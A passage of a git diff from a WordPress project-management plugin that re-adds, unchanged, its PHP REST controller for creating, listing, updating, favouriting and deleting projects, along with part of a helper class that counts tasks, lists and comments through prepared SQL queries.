( $task_lists as $task_list ) { - $task_list->boardables()->delete(); - $task_list->metas()->delete(); - $task_list->files()->delete(); - } - $project->task_lists()->delete(); - - $project->discussion_boards()->delete(); - $project->milestones()->delete(); - $project->comments()->delete(); - $project->assignees()->detach(); - $this->detach_files( $project ); - $project->settings()->delete(); - $project->activities()->delete(); - $project->meta()->delete(); - (new Project_Role_Relation)->after_delete_project( $project->id ); - - // Delete the main resource - $project->delete(); - do_action( 'pm_after_delete_project', $project ); - do_action( 'cpm_delete_project_after', $project->id ); - } - return [ - 'message' => pm_get_text('success_messages.project_deleted') - ]; - } - - public function destroy( WP_REST_Request $request ) { - $id = $request->get_param('id'); - - // Find the requested resource - $project = Project::find( $id ); - do_action( 'cpm_delete_project_prev', $id ); // will be deprecated - do_action( 'cpm_project_delete', $id, true ); - do_action( 'pm_before_delete_project', $project, $request->get_params() ); - // Delete related resourcess - $project->categories()->detach(); - - $tasks = $project->tasks; - foreach ( $tasks as $task ) { - $task->files()->delete(); - $task->assignees()->delete(); - $task->metas()->delete(); - } - $project->tasks()->delete(); - - $task_lists = $project->task_lists; - foreach ( $task_lists as $task_list ) { - $task_list->boardables()->delete(); - $task_list->metas()->delete(); - $task_list->files()->delete(); - } - $project->task_lists()->delete(); - - $project->discussion_boards()->delete(); - $project->milestones()->delete(); - $project->comments()->delete(); - $project->assignees()->detach(); - $this->detach_files( $project ); - $project->settings()->delete(); - $project->activities()->delete(); - $project->meta()->delete(); - (new Project_Role_Relation)->after_delete_project( $id ); - - // Delete the main resource - $project->delete(); - do_action( 'pm_after_delete_project', $project ); - do_action( 'cpm_delete_project_after', $id ); - return [ - 'message' => pm_get_text('success_messages.project_deleted') - ]; - } - - private function assign_users( Project $project, $assignees = [] ) { - $assignees = is_array( $assignees ) ? $assignees : []; - - foreach ( $assignees as $assignee ) { - User_Role::firstOrCreate([ - 'user_id' => $assignee['user_id'], - 'role_id' => $assignee['role_id'], - 'project_id' => $project->id, - ]); - } - } - - public function favourite_project (WP_REST_Request $request) { - $project_id = $request->get_param( 'id' ); - $favourite = $request->get_param( 'favourite' ); - $user_id = get_current_user_id(); - - - if ( $favourite == 'true' || $favourite === true ) { - $lastFavourite = Meta::where([ - 'entity_id' => $user_id, - 'entity_type' => 'project', - 'meta_key' => 'favourite_project' - ])->max('meta_value'); - - $lastFavourite = intval($lastFavourite ) + 1; - - pm_update_meta( $user_id, $project_id, 'project', 'favourite_project', $lastFavourite ); - - } else { - pm_update_meta( $user_id, $project_id, 'project', 'favourite_project', null ); - } - - do_action( "pm_after_favaurite_project", $request ); - - if ( $favourite == 'true' ) { - $response = $this->get_response( null, [ 'message' => __( "The project has been marked as favorite", 'wedevs-project-manager' ) ] ); - } else { - - $response = $this->get_response( null, [ 'message' => __( "The project has been removed from favorite", 'wedevs-project-manager' ) ] ); - } - - return $response; - } - - function create_list_inbox($project_id) { - - $meta = Meta::firstOrCreate([ - 'entity_id' => $project_id, - 'entity_type' => 'task_list', - 'meta_key' => 'list-inbox', - 'project_id' => $project_id, - ]); - - if ( empty( $meta->meta_value ) ) { - - $list = Task_List::create([ - 'title' => __('Inbox', 'wedevs-project-manager'), - 'description' => __('This is a system default task list. Any task without an assigned tasklist will appear here.', 'wedevs-project-manager'), - 'order' => 999999, - 'project_id' => $project_id, - ]); - - $meta->meta_value = $list->id; - $meta->save(); - - } - } - - -} +get_param( 'per_page' ); + $page = $request->get_param( 'page' ); + $status = $request->get_param( 'status' ); + $category = $request->get_param( 'category' ); + $project_transform = $request->get_param( 'project_transform' ); + + $per_page_from_settings = pm_get_setting( 'project_per_page' ); + $per_page_from_settings = $per_page_from_settings ? $per_page_from_settings : 15; + + $per_page = $per_page ? $per_page : $per_page_from_settings; + $page = $page ? $page : 1; + + Paginator::currentPageResolver(function () use ($page) { + return $page; + }); + + $projects = $this->fetch_projects( $category, $status ); + + $projects = apply_filters( 'pm_project_query', $projects, $request->get_params() ); + + $projects = $projects->orderBy( pm_tb_prefix().'pm_projects.created_at', 'DESC' ); + + if ( -1 === intval( $per_page ) || $per_page == 'all' ) { + $per_page = $projects->get()->count(); + } + + if( $project_transform == 'false' ) { + wp_send_json_success( $projects->get()->toArray() ); + } + + $projects = $projects->paginate( $per_page ); + + $project_collection = $projects->getCollection(); + $resource = new Collection( $project_collection, new Project_Transformer ); + + $resource->setMeta( $this->projects_meta( $category ) ); + + $resource->setPaginator( new IlluminatePaginatorAdapter( $projects ) ); + + return $this->get_response( $resource ); + } + + private function projects_meta( $category ) { + $user_id = get_current_user_id(); + $eloquent_sql = $this->fetch_projects_by_category( $category ); + $total_projects = $eloquent_sql->count(); + $eloquent_sql = $this->fetch_projects_by_category( $category ); + $total_incomplete = $eloquent_sql->where( 'status', Project::INCOMPLETE )->count(); + $eloquent_sql = $this->fetch_projects_by_category( $category ); + $total_complete = $eloquent_sql->where( 'status', Project::COMPLETE )->count(); + $eloquent_sql = $this->fetch_projects_by_category( $category ); + $total_pending = $eloquent_sql->where( 'status', Project::PENDING )->count(); + $eloquent_sql = $this->fetch_projects_by_category( $category ); + $total_archived = $eloquent_sql->where( 'status', Project::ARCHIVED )->count(); + $eloquent_sql = $this->fetch_projects_by_category( $category ); + $favourite = $eloquent_sql->whereHas( 'meta', function ( $query ) use( $user_id ) { + $query->where('meta_key', '=', 'favourite_project') + ->where('entity_id', '=', $user_id) + ->whereNotNull( 'meta_value' ); + } )->count(); + $user_id = get_current_user_id(); + + $meta = [ + 'total_projects' => $total_projects, + 'total_incomplete' => $total_incomplete, + 'total_complete' => $total_complete, + 'total_pending' => $total_pending, + 'total_archived' => $total_archived, + 'total_favourite' => $favourite, + ]; + + return $meta; + } + + private function fetch_projects( $category, $status ) { + $projects = $this->fetch_projects_by_category( $category ); + $user_id = get_current_user_id(); + + if ($status == 'favourite' ) { + $projects = $projects->whereHas( 'meta', function ( $query ) use( $user_id ) { + $query->where('meta_key', '=', 'favourite_project') + ->where('entity_id', '=', $user_id) + ->whereNotNull( 'meta_value' ); + } ); + } + + if ( in_array( $status, Project::$status ) ) { + $status = array_search( $status, Project::$status ); + $projects = $projects->where( 'status', $status ); + } + + $projects = $projects->leftJoin( pm_tb_prefix() . 'pm_meta', function ( $join ) use( $user_id ) { + $join->on( pm_tb_prefix().'pm_projects.id', '=', pm_tb_prefix().'pm_meta.project_id' ) + ->where('meta_key', '=', 'favourite_project')->where('entity_id', '=', $user_id); + }) + ->selectRaw( pm_tb_prefix().'pm_projects.*' ) + ->groupBy( pm_tb_prefix().'pm_projects.id' ) + ->orderBy( pm_tb_prefix().'pm_meta.meta_value', 'DESC'); + + return $projects; + } + + private function fetch_projects_by_category( $category = null ) { + $user_id = get_current_user_id(); + + if ( $category ) { + $category = Category::where( 'categorible_type', 'project' ) + ->where( 'id', $category ) + ->first(); + + if ( $category ) { + $projects = $category->projects()->with('assignees'); + } else { + $projects = Project::with('assignees'); + } + + } else { + $projects = Project::with('assignees'); + } + if ( !pm_has_manage_capability( $user_id ) ){ + $projects = $projects->whereHas('assignees', function( $q ) use ( $user_id ) { + $q->where('user_id', $user_id ); + }); + } + + return $projects; + } + + public function show( WP_REST_Request $request ) { + $id = $request->get_param('id'); + $user_id = get_current_user_id(); + $project = Project::find($id); + + if ( !$project ) { + return new \WP_Error( 'project', pm_get_text('success_messages.no_project'), array( 'status'=> 404 ) ); + } + + $projectId_git_bit_hash = get_option('projectId_git_bit_hash_'.$project->id); + if(!$projectId_git_bit_hash){ + add_option('projectId_git_bit_hash_'.$project->id , sha1(strtotime("now").$project->id)); + } + + $resource = new Item( $project, new Project_Transformer ); + $list_view = pm_get_meta( $user_id, $id, 'list_view', 'list_view_type' ); + $resource->setMeta([ + 'list_view_type' => $list_view ? $list_view->toArray() : null + ]); + + return $this->get_response( $resource ); + } + + public function create_project( $data ) { + $project = Project::create( $data ); + add_option('projectId_git_bit_hash_'.$project->id , sha1(strtotime("now").$project->id)); + // Establishing relationships + $category_ids = isset( $data[ 'categories' ] ) ? $data[ 'categories' ] : []; + if ( $category_ids ) { + $project->categories()->sync( $category_ids ); + } + + $assignees = isset( $data[ 'assignees' ] ) ? $data['assignees'] : []; + $assignees[] = [ + 'user_id' => wp_get_current_user()->ID, + 'role_id' => 1, // 1 for manager + ]; + //craeate list inbox when create project + $this->create_list_inbox($project->id); + + if ( is_array( $assignees ) ) { + $this->assign_users( $project, $assignees ); + } + do_action( 'pm_project_new', $project, $data ); + // Transforming database model instance + $resource = new Item( $project, new Project_Transformer ); + $response = $this->get_response( $resource ); + $response['message'] = pm_get_text('success_messages.project_created'); + do_action( 'cpm_project_new', $project->id, $project->toArray(), $data ); // will deprecated + do_action( 'pm_after_new_project', $response, $data ); + + ( new Project_Role_Relation )->set_relation_after_create_project( $response['data'] ); + + return $response; + } + + public function store( WP_REST_Request $request ) { + // Extraction of no empty inputs and create project + $data = $this->extract_non_empty_values( $request ); + $project = Project::create( $data ); + add_option('projectId_git_bit_hash_'.$project->id , sha1(strtotime("now").$project->id)); + // Establishing relationships + $category_ids = $request->get_param( 'categories' ); + if ( $category_ids ) { + $project->categories()->sync( $category_ids ); + } + + $assignees = $request->get_param( 'assignees' ); + $assignees[] = [ + 'user_id' => wp_get_current_user()->ID, + 'role_id' => 1, // 1 for manager + ]; + //craeate list inbox when create project + $this->create_list_inbox($project->id); + if ( is_array( $assignees ) ) { + $this->assign_users( $project, $assignees ); + } + do_action( 'pm_project_new', $project, $request->get_params()); + // Transforming database model instance + $resource = new Item( $project, new Project_Transformer ); + $response = $this->get_response( $resource ); + $response['message'] = pm_get_text('success_messages.project_created'); + + do_action( 'cpm_project_new', $project->id, $project->toArray(), $request->get_params() ); // will deprecated + do_action( 'pm_after_new_project', $response, $request->get_params() ); + + ( new Project_Role_Relation )->set_relation_after_create_project( $response['data'] ); + + return $response; + } + + public function update( WP_REST_Request $request ) { + // Extract non empty inputs and update project + $data = $request->get_params();//$this->extract_non_empty_values( $request ); + $project = Project::find( $data['id'] ); + + $project->update_model( $data ); + + // Establishing relationships + $category_ids = $request->get_param( 'categories' ); + if ( $category_ids ) { + $project->categories()->sync( $category_ids ); + } + + $assignees = $request->get_param( 'assignees' ); + + if ( is_array( $assignees ) ) { + $project->assignees()->detach(); + $this->assign_users( $project, $assignees ); + } + + $resource = new Item( $project, new Project_Transformer ); + $response = $this->get_response( $resource ); + $response['message'] = pm_get_text('success_messages.project_updated'); + do_action( 'cpm_project_update', $project->id, $project->toArray(), $request->get_params() ); + do_action( 'pm_after_update_project', $response, $request->get_params() ); + + ( new Project_Role_Relation )->set_relation_after_update_project( $response['data'] ); + + return $response; + } + + public function delete_projects_all() { + $projects = Project::all(); + foreach ($projects as $project ) { + + do_action( 'cpm_delete_project_prev', $project->id ); // will be deprecated + do_action( 'cpm_project_delete', $project, true ); + do_action( 'pm_before_delete_project', $project, $project->id ); + // Delete related resourcess + $project->categories()->detach(); + + $tasks = $project->tasks; + foreach ( $tasks as $task ) { + $task->files()->delete(); + $task->assignees()->delete(); + $task->metas()->delete(); + } + $project->tasks()->delete(); + + $task_lists = $project->task_lists; + foreach ( $task_lists as $task_list ) { + $task_list->boardables()->delete(); + $task_list->metas()->delete(); + $task_list->files()->delete(); + } + $project->task_lists()->delete(); + + $project->discussion_boards()->delete(); + $project->milestones()->delete(); + $project->comments()->delete(); + $project->assignees()->detach(); + $this->detach_files( $project ); + $project->settings()->delete(); + $project->activities()->delete(); + $project->meta()->delete(); + (new Project_Role_Relation)->after_delete_project( $project->id ); + + // Delete the main resource + $project->delete(); + do_action( 'pm_after_delete_project', $project ); + do_action( 'cpm_delete_project_after', $project->id ); + } + return [ + 'message' => pm_get_text('success_messages.project_deleted') + ]; + } + + public function destroy( WP_REST_Request $request ) { + $id = $request->get_param('id'); + + // Find the requested resource + $project = Project::find( $id ); + do_action( 'cpm_delete_project_prev', $id ); // will be deprecated + do_action( 'cpm_project_delete', $id, true ); + do_action( 'pm_before_delete_project', $project, $request->get_params() ); + // Delete related resourcess + $project->categories()->detach(); + + $tasks = $project->tasks; + foreach ( $tasks as $task ) { + $task->files()->delete(); + $task->assignees()->delete(); + $task->metas()->delete(); + } + $project->tasks()->delete(); + + $task_lists = $project->task_lists; + foreach ( $task_lists as $task_list ) { + $task_list->boardables()->delete(); + $task_list->metas()->delete(); + $task_list->files()->delete(); + } + $project->task_lists()->delete(); + + $project->discussion_boards()->delete(); + $project->milestones()->delete(); + $project->comments()->delete(); + $project->assignees()->detach(); + $this->detach_files( $project ); + $project->settings()->delete(); + $project->activities()->delete(); + $project->meta()->delete(); + (new Project_Role_Relation)->after_delete_project( $id ); + + // Delete the main resource + $project->delete(); + do_action( 'pm_after_delete_project', $project ); + do_action( 'cpm_delete_project_after', $id ); + return [ + 'message' => pm_get_text('success_messages.project_deleted') + ]; + } + + private function assign_users( Project $project, $assignees = [] ) { + $assignees = is_array( $assignees ) ? $assignees : []; + + foreach ( $assignees as $assignee ) { + User_Role::firstOrCreate([ + 'user_id' => $assignee['user_id'], + 'role_id' => $assignee['role_id'], + 'project_id' => $project->id, + ]); + } + } + + public function favourite_project (WP_REST_Request $request) { + $project_id = $request->get_param( 'id' ); + $favourite = $request->get_param( 'favourite' ); + $user_id = get_current_user_id(); + + + if ( $favourite == 'true' || $favourite === true ) { + $lastFavourite = Meta::where([ + 'entity_id' => $user_id, + 'entity_type' => 'project', + 'meta_key' => 'favourite_project' + ])->max('meta_value'); + + $lastFavourite = intval($lastFavourite ) + 1; + + pm_update_meta( $user_id, $project_id, 'project', 'favourite_project', $lastFavourite ); + + } else { + pm_update_meta( $user_id, $project_id, 'project', 'favourite_project', null ); + } + + do_action( "pm_after_favaurite_project", $request ); + + if ( $favourite == 'true' ) { + $response = $this->get_response( null, [ 'message' => __( "The project has been marked as favorite", 'wedevs-project-manager' ) ] ); + } else { + + $response = $this->get_response( null, [ 'message' => __( "The project has been removed from favorite", 'wedevs-project-manager' ) ] ); + } + + return $response; + } + + function create_list_inbox($project_id) { + + $meta = Meta::firstOrCreate([ + 'entity_id' => $project_id, + 'entity_type' => 'task_list', + 'meta_key' => 'list-inbox', + 'project_id' => $project_id, + ]); + + if ( empty( $meta->meta_value ) ) { + + $list = Task_List::create([ + 'title' => __('Inbox', 'wedevs-project-manager'), + 'description' => __('This is a system default task list. Any task without an assigned tasklist will appear here.', 'wedevs-project-manager'), + 'order' => 999999, + 'project_id' => $project_id, + ]); + + $meta->meta_value = $list->id; + $meta->save(); + + } + } + + +} diff --git a/src/Project/Helper/Project.php b/src/Project/Helper/Project.php index 10d4c8937..d540643b8 100644 --- a/src/Project/Helper/Project.php +++ b/src/Project/Helper/Project.php @@ -1,1429 +1,1429 @@ -set_table_name(); - } - - /** - * AJAX Get projects - * - * @param array $request - * - * @return Object - */ - public static function get_projects( WP_REST_Request $request ) { - $self = self::getInstance(); - $projects = self::get_results( $request->get_params() ); - - wp_send_json( $projects ); - } - - /** - * Get projects - * - * @param array $params - * - * @return array - */ - public static function get_results( $params ) { - - $self = self::getInstance(); - $self->query_params = $params; - - $self->select() - ->join() - ->where() - ->limit() - ->orderby() - ->get() - ->with() - ->meta(); - - $response = $self->format_projects( $self->projects ); - - if( pm_is_single_query( $params ) ) { - $project = empty( $response['data'][0] ) ? [] : $response['data'][0]; - return ['data' => $project]; - } - - return $response; - } - - /** - * Format projects data - * - * @param array $projects - * - * @return array - */ - public function format_projects( $projects ) { - $response = [ - 'data' => [], - 'meta' => [] - ]; - - foreach ( $projects as $key => $project ) { - $projects[$key] = $this->fromat_project( $project ); - } - - $response['data'] = $projects; - $response ['meta'] = $this->set_projects_meta(); - - return $response; - - - - - // if ( ! is_array( $projects ) ) { - // $response['data'] = $this->fromat_project( $projects ); - - // return $response; - // } - - // foreach ( $projects as $key => $project ) { - // $projects[$key] = $this->fromat_project( $project ); - // } - - - // $response['data'] = $projects; - // $response['meta'] = $this->set_projects_meta(); - - // return $response; - } - - /** - * Set meta data - */ - private function set_projects_meta() { - - $t_incomplete = $this->count_project_by_type(0); - $t_complete = $this->count_project_by_type(1); - $t_pending = $this->count_project_by_type(2); - $t_archived = $this->count_project_by_type(3); - $pagination_total = $this->get_pagination_total( $t_incomplete, $t_complete, $t_pending, $t_archived ); - - return [ - 'total_projects' => $this->found_rows, - 'total_page' => ceil( $this->found_rows/$this->get_per_page() ), - 'total_incomplete' => $t_incomplete, - 'total_complete' => $t_complete, - 'total_pending' => $t_pending, - 'total_archived' => $t_archived, - 'total_favourite' => $this->favourite_project_count(), - 'pagination' => [ - "total" => $pagination_total, - "per_page" => $this->get_per_page(), - "total_pages" => ceil( $this->found_rows/$this->get_per_page() ), - ] - ]; - } - - private function get_pagination_total( $incomplete, $complete, $pending, $archived ) { - $status = isset( $this->query_params['status'] ) ? $this->query_params['status'] : false; - - if ( ! $status ) { - return (int) $incomplete + (int) $complete + (int) $pending + (int) $archived; - } - - if ( $status == 'incomplete' ) { - return (int) $incomplete; - } - - if ( $status == 'complete' ) { - return (int) $complete; - } - - if ( $status == 'pending' ) { - return (int) $pending; - } - - if ( $status == 'archived' ) { - return (int) $archived; - } - - return 0; - } - - private function count_project_by_type( $type) { - global $wpdb; - $tb_projects = pm_tb_prefix() . 'pm_projects'; - - $query = "SELECT DISTINCT COUNT(id) FROM $tb_projects - WHERE status =%s"; - - $incomplete_project_count = $wpdb->get_var( $wpdb->prepare( $query, $type ) ); - - return $incomplete_project_count; - } - - private function favourite_project_count() { - global $wpdb; - $tb_projects = pm_tb_prefix() . 'pm_projects'; - $tb_meta = pm_tb_prefix() . 'pm_meta'; - $current_user_id = get_current_user_id(); - - $query = "SELECT COUNT($tb_projects.id) as favourite_project - FROM $tb_projects - LEFT JOIN $tb_meta ON $tb_meta.project_id = $tb_projects.id - WHERE $tb_meta.meta_key = %s - AND $tb_meta.entity_id = %d - AND $tb_meta.meta_value is not null"; - - $favourite_project_count = $wpdb->get_var( $wpdb->prepare( $query, 'favourite_project', $current_user_id ) ); - - return $favourite_project_count; - - } - - /** - * Format project data - * - * @param Object $project - * - * @return array - */ - public function fromat_project( $project ) { - $listmeta = pm_get_meta( $project->id, $project->id, 'task_list', 'list-inbox'); - - if( $listmeta ) { - $listmeta = $listmeta->meta_value; - } else { - $listmeta = 0; - } - - $items = [ - 'id' => (int) $project->id, - 'project_id' => (int) $project->id, //need for calendar task create form - 'title' => isset( $project->title ) ? (string) $project->title : '', - 'description' => isset( $project->description ) ? [ 'html' => pm_get_content( $project->description ), 'content' => $project->description ] : '', - 'status' => isset( $project->status ) ? $project->status : null, - 'budget' => isset( $project->budget ) ? $project->budget : null, - 'pay_rate' => isset( $project->pay_rate ) ? $project->pay_rate : null, - 'est_completion_date' => isset( $project->est_completion_date ) ? format_date( $project->est_completion_date ) : null, - 'order' => isset( $project->order ) ? $project->order : null, - 'projectable_type' => isset( $project->projectable_type ) ? $project->projectable_type : null, - 'favourite' => isset( $project->favourite ) ? $project->favourite : false, - 'created_at' => isset( $project->created_at ) ? format_date( $project->created_at ) : null, - 'updated_at' => isset( $project->updated_at ) ? format_date( $project->updated_at ) : null, - 'created_by' => isset( $project->created_by ) ? (int) $project->created_by : false, - 'list_inbox' => $listmeta, - ]; - - - $items = $this->item_with( $items, $project ); - //$items = $this->item_meta( $items, $project ); - - return apply_filters( 'pm_project_transform', $items, $project ); - - - // $select_items = empty( $this->query_params['select'] ) ? null : $this->query_params['select']; - - // if ( ! is_array( $select_items ) && !is_null( $select_items ) ) { - // $select_items = str_replace( ' ', '', $select_items ); - // $select_items = explode( ',', $select_items ); - // } - - // if ( empty( $select_items ) ) { - // $this->item_with($items,$project); - // $items = $this->item_meta( $items,$project ); - - // return $items; - // } - - // foreach ( $items as $item_key => $item ) { - // if ( ! in_array( $item_key, $select_items ) ) { - // unset( $items[$item_key] ); - // } - // } - - // $this->item_with( $items,$project ); - // $items = $this->item_meta( $items,$project ); - - // return $items; - - } - - - private function item_with( &$items, $project ) { - $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; - - if ( ! is_array( $with ) ) { - $with = explode( ',', str_replace(' ', '', $with ) ); - } - - $with = array_merge( $this->with, $with ); - - $project_with_items = array_intersect_key( (array) $project, array_flip( $with ) ); - - $items = array_merge( $items, $project_with_items ); - - return $items; - } - - // private function item_meta( $items, $project ) { - // $meta = empty( $this->query_params['project_meta'] ) ? false : $this->query_params['project_meta']; - - // if ( ! $meta ) { - // return $items; - // } - - // $items['meta'] = empty( $project->meta ) ? ['data' => []] : ['data' => $project->meta]; - - // return $items; - // } - - - /** - * Join others table information - * - * @return Object - */ - private function with() { - $this->include_assignees() - ->include_categories() - ->role_capabilities(); - - $this->projects = apply_filters( 'pm_project_with',$this->projects, $this->project_ids, $this->query_params ); - - return $this; - } - - private function meta() { - // $meta = empty( $this->query_params['project_meta'] ) ? false : $this->query_params['project_meta']; - - // if ( ! $meta ) { - // return $this; - // } - - // if ( $meta && !is_array( $meta ) && $meta != 'all' ) { - // $meta = explode( ',', $meta ); - // } - - // if ( $meta == 'all' ) { - $this->project_task_list_count(); - $this->project_task_count(); - $this->project_task_complete(); - $this->project_incomplete_tasks(); - $this->project_discussion_board_count(); - $this->project_milestones_count(); - $this->project_comments_count(); - $this->project_files_count(); - $this->project_activities_count(); - $this->get_meta_tb_data(); - $this->set_project_favourite_status(); - - return $this; - //} - - // if ( in_array( 'total_task_lists', $meta ) ) { - // $this->project_task_list_count(); - // } - - // if ( in_array( 'total_tasks', $meta ) ) { - // $this->project_task_count(); - // } - - // if ( in_array( 'total_complete_tasks', $meta ) ) { - // $this->project_task_complete(); - // } - - // if ( in_array( 'total_incomplete_tasks', $meta ) ) { - // $this->project_incomplete_tasks(); - // } - - // if ( in_array( 'total_discussion_boards', $meta ) ) { - // $this->project_discussion_board_count(); - // } - - // if ( in_array( 'total_milestones', $meta ) ) { - // $this->project_milestones_count(); - // } - - // if ( in_array( 'total_comments', $meta ) ) { - // $this->project_comments_count(); - // } - - // if ( in_array('total_files', $meta ) ) { - // $this->project_files_count(); - // } - - // if ( in_array('total_activities', $meta) ) { - // $this->project_activities_count(); - // } - - //if ( in_array('favourite', $meta) ) { - //$this->get_meta_tb_data(); - //} - - //return $this; - } - - private function set_project_favourite_status() { - - if ( empty( $this->project_ids ) ) { - return $this; - } - - global $wpdb; - - $metas = []; - $tb_projects = pm_tb_prefix() . 'pm_projects'; - $tb_meta = pm_tb_prefix() . 'pm_meta'; - $current_user_id = get_current_user_id(); - $project_format = pm_get_prepare_format( $this->project_ids ); - $query_data = $this->project_ids; - - $query = "SELECT DISTINCT $tb_meta.meta_key, $tb_meta.meta_value, $tb_meta.project_id - FROM $tb_meta - WHERE $tb_meta.project_id IN ($project_format) - AND $tb_meta.entity_type = %s - AND $tb_meta.meta_key = %s - AND $tb_meta.entity_id = %d"; - - array_push( $query_data, 'project', 'favourite_project', $current_user_id ); - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - - foreach ( $results as $key => $result ) { - $project_id = $result->project_id; - unset( $result->project_id ); - $metas[$project_id] = $result; - } - - foreach ( $this->projects as $key => $project ) { - if ( ! isset( $metas[$project->id] ) ) { - $project->favourite = false; - continue; - } - $project_meta = $metas[$project->id]; - $project->favourite = empty( $project_meta->meta_value ) ? false : true; - } - - return $this; - } - - private function get_meta_tb_data() { - - if ( empty( $this->project_ids ) ) { - return $this; - } - - global $wpdb; - - $metas = []; - $tb_projects = pm_tb_prefix() . 'pm_projects'; - $tb_meta = pm_tb_prefix() . 'pm_meta'; - $project_format = pm_get_prepare_format( $this->project_ids ); - $query_data = $this->project_ids; - - $query = "SELECT DISTINCT $tb_meta.meta_key, $tb_meta.meta_value, $tb_meta.project_id, $tb_meta.entity_id - FROM $tb_meta - WHERE $tb_meta.project_id IN ($project_format) - AND $tb_meta.entity_type = %s"; - - array_push( $query_data, 'project' ); - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - - foreach ( $results as $key => $result ) { - $project_id = $result->project_id; - unset( $result->project_id ); - $metas[$project_id][] = $result; - } - - foreach ( $this->projects as $key => $project ) { - $filter_metas = empty( $metas[$project->id] ) ? [] : $metas[$project->id]; - foreach ( $filter_metas as $key => $filter_meta ) { - $project->meta[$filter_meta->meta_key] = $filter_meta->meta_value; - } - } - - return $this; - } - - private function project_incomplete_tasks() { - - if ( empty( $this->project_ids ) ) { - return $this; - } - - global $wpdb; - - $metas = []; - $tb_projects = pm_tb_prefix() . 'pm_projects'; - $tb_task = pm_tb_prefix() . 'pm_tasks'; - $project_format = pm_get_prepare_format( $this->project_ids ); - $query_data = $this->project_ids; - - $query = "SELECT DISTINCT COUNT($tb_task.id) as task_count, $tb_task.project_id - FROM $tb_task - WHERE $tb_task.project_id IN ($project_format) - AND $tb_task.status = %d - GROUP by $tb_task.project_id"; - - array_push( $query_data, 0 ); - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - - foreach ( $results as $key => $result ) { - $project_id = $result->project_id; - unset( $result->project_id ); - $metas[$project_id] = $result->task_count; - } - - foreach ( $this->projects as $key => $project ) { - $project->meta['data']['total_incomplete_tasks'] = empty( $metas[$project->id] ) ? 0 : $metas[$project->id]; - } - - return $this; - } - - private function project_task_complete() { - - if ( empty( $this->project_ids ) ) { - return $this; - } - - global $wpdb; - $metas = []; - $tb_projects = pm_tb_prefix() . 'pm_projects'; - $tb_task = pm_tb_prefix() . 'pm_tasks'; - $project_format = pm_get_prepare_format( $this->project_ids ); - $query_data = $this->project_ids; - - $query = "SELECT DISTINCT COUNT($tb_task.id) as task_count, $tb_task.project_id - FROM $tb_task - WHERE $tb_task.project_id IN ($project_format) - AND $tb_task.status = %d - GROUP by $tb_task.project_id"; - - array_push( $query_data, 1 ); - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - - foreach ( $results as $key => $result ) { - $project_id = $result->project_id; - unset( $result->project_id ); - $metas[$project_id] = $result->task_count; - } - - foreach ( $this->projects as $key => $project ) { - $project->meta['data']['total_complete_tasks'] = empty( $metas[$project->id] ) ? 0 : $metas[$project->id]; - } - - return $this; - } - - public function get_prepare_format( $ids, $is_string = false ) { - - if ( ! is_array( $ids ) ) { - if ( strpos( $ids, ',' ) !== false ) { - $ids = str_replace( ' ', '', $ids ); - $ids = explode( ',', $ids ); - } - } - - // how many entries will we select? - $how_many = count( $ids ); - - // prepare the right amount of placeholders - // if you're looing for strings, use '%s' instead - if( $is_string ) { - $placeholders = array_fill( 0, $how_many, '%s' ); - } else { - $placeholders = array_fill( 0, $how_many, '%d' ); - } - - // glue together all the placeholders... - // $format = '%d, %d, %d, %d, %d, [...]' - $format = implode( ', ', $placeholders ); - - return $format; - } - - private function project_task_count() { - - if ( empty( $this->project_ids ) ) { - return $this; - } - - global $wpdb; - - $metas = []; - $tb_projects = pm_tb_prefix() . 'pm_projects'; - $tb_task = pm_tb_prefix() . 'pm_tasks'; - $project_format = pm_get_prepare_format( $this->project_ids ); - $query_data = $this->project_ids; - - $query = "SELECT DISTINCT COUNT(pt.id) as task_count, pt.project_id - FROM $tb_task as pt - WHERE pt.project_id IN ($project_format) - GROUP by pt.project_id"; - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - - foreach ( $results as $key => $result ) { - $project_id = $result->project_id; - unset( $result->project_id ); - $metas[$project_id] = $result->task_count; - } - - foreach ( $this->projects as $key => $project ) { - $project->meta['data']['total_tasks'] = empty( $metas[$project->id] ) ? 0 : $metas[$project->id]; - } - - return $this; - } - - private function project_task_list_count() { - - if ( empty( $this->project_ids ) ) { - return $this; - } - - global $wpdb; - - $metas = []; - $tb_projects = pm_tb_prefix() . 'pm_projects'; - $tb_boards = pm_tb_prefix() . 'pm_boards'; - $project_format = pm_get_prepare_format( $this->project_ids ); - $query_data = $this->project_ids; - - $query = "SELECT DISTINCT COUNT(pb.id) as task_list_count , project_id - FROM $tb_boards as pb - WHERE pb.project_id IN ($project_format) - AND pb.type=%s - GROUP BY pb.project_id"; - - array_push( $query_data, 'task_list' ); - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - - foreach ( $results as $key => $result ) { - $project_id = $result->project_id; - unset( $result->project_id ); - $metas[$project_id] = $result->task_list_count; - } - - foreach ( $this->projects as $key => $project ) { - $project->meta['data']['total_task_lists'] = empty( $metas[$project->id] ) ? 0 : $metas[$project->id]; - } - - return $this; - } - - private function project_discussion_board_count() { - - if ( empty( $this->project_ids ) ) { - return $this; - } - - global $wpdb; - - $metas = []; - $tb_projects = pm_tb_prefix() . 'pm_projects'; - $tb_boards = pm_tb_prefix() . 'pm_boards'; - $project_format = pm_get_prepare_format( $this->project_ids ); - $query_data = $this->project_ids; - - $query = "SELECT DISTINCT COUNT(pb.id) as discussion_count , project_id - FROM $tb_boards as pb - WHERE pb.project_id IN ($project_format) - AND pb.type=%s - GROUP BY pb.project_id"; - - array_push( $query_data, 'discussion_board' ); - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - - foreach ( $results as $key => $result ) { - $project_id = $result->project_id; - unset( $result->project_id ); - $metas[$project_id] = $result->discussion_count; - } - - foreach ( $this->projects as $key => $project ) { - $project->meta['data']['total_discussion_boards'] = empty( $metas[$project->id] ) ? 0 : $metas[$project->id]; - } - - return $this; - } - - - private function project_comments_count() { - - if ( empty( $this->project_ids ) ) { - return $this; - } - - global $wpdb; - - $metas = []; - $tb_projects = pm_tb_prefix() . 'pm_projects'; - $tb_comments = pm_tb_prefix() . 'pm_comments'; - $project_format = pm_get_prepare_format( $this->project_ids ); - $query_data = $this->project_ids; - - $query = "SELECT DISTINCT COUNT(pcm.id) as comment_count , project_id - FROM $tb_comments as pcm - WHERE pcm.project_id IN 